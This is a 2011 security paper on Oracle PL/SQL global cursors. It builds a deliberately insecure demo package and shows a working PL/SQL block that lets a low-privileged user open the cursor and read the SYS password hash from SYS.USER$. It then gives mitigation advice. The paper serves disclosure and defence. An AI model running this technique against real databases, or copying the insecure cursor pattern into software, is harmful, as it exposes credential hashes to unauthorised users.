The Security Impact of

Global Cursors

in Oracle PL/SQL

30th June 2011

David Litchfield

(david@v3rity.com)

Globals in PL/SQL are bad. This is well known in the Oracle community but there's very little written on the matter beyond there's a general uneasy feeling that globals *are* bad. This paper will document why global cursors are particularly bad and using them could have a dire security impact on the database server.

The problem arises because global cursors in Oracle can be opened and executed outside of the package in which they are defined; further this can be done by a user with a different security level than the owner of the package in which the cursor has been defined. To the uninitiated, this might be considered as unexpected. I certainly didn't expect this behaviour when I first came across it in 2006 and nor had any of my colleagues at NGSSoftware.

In the code below, a security package is created to assess a given user's password. (It doesn't do anything practical and is used simply to highlight the problem with global cursors.) The code selects the password hash for the executing user and checks it. The user can't influence which password hash is selected - by using the user() function it is their password. As such an attacker can't abuse this to get the SYS password hash for example, unless of course, they're the SYS user. Besides, the password hash is never given and everything is wrapped up in the business logic so it's safe... Or is it?

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> -- WE'RE GOING TO SELECT THE USER'S PASSWORD HASH
SQL> -- IT'S OK TO DO SO BECAUSE THIS IS WRAPPED UP IN
SQL> -- BUSINESS LOGIC SO THEY DON'T GET TO SEE IT
SQL> -- AND IT'S LIMITED TO THEIR OWN PASSWORD HASH
SQL> -- BY USING THE USER() FUNCTION
SQL> CREATE OR REPLACE PACKAGE SECCHECK AS
  2  CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
WHERE NAME=USERNAME;
  3  PROCEDURE CHECK_PASSWORD;
  4  END;
  5  /

Package created.

SQL> CREATE OR REPLACE PACKAGE BODY SECCHECK AS
  2  PROCEDURE CHECK_PASSWORD IS
  3  PASSWORD VARCHAR2(200);
  4  BEGIN
  5  OPEN X (USER());
  6  FETCH X INTO PASSWORD;
  7  CLOSE X;
  8  IF PASSWORD = '01234567890ABCDEF' THEN
  9     DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
 10  ELSE
 11     DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
 12  END IF;
 13  END CHECK_PASSWORD;
 14  END;
 15  /

Package body created.
```

```
SQL> SHOW ERRORS
No errors.
SQL> GRANT EXECUTE ON SYS.SECCHECK TO PUBLIC;

Grant succeeded.

SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> EXEC SYS.SECCHECK.CHECK_PASSWORD;
YOUR PASSWORD HASH IS OK

PL/SQL procedure successfully completed.

SQL>
```

This is all well and good. No password has is displayed and even if it was it'd only be the hash for the currently logged on user. But recall, a global cursor can be opened outside of the package so all an attacker needs to do to get the password for any user, for example the SYS user is to open it:

```
SQL> DECLARE
  2  PASSWORD VARCHAR2(200);
  3  BEGIN
  4  OPEN SYS.SECCHECK.X ('SYS');
  5  FETCH SYS.SECCHECK.X INTO PASSWORD;
  6  CLOSE SYS.SECCHECK.X;
  7  DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
  8  END;
  9  /
The SYS password is E5C5EA198D2ED64A

PL/SQL procedure successfully completed.

SQL>
```

Global cursors are indeed bad. Oracle does not view this as a security weakness however and they refused to address it. I have some suggestions that could improve the security situation. Oracle could provide an optional server parameter that, if set, enforces a security check at the time the cursor is opened: if the cursor is being opened from outside of the package by a user that is not the owner then a security exception could be thrown.

In the meantime, if you really, really must use a global cursor then assess how its use might impact the security of your system and if it could indeed allow a compromise then I'd advise finding a different solution.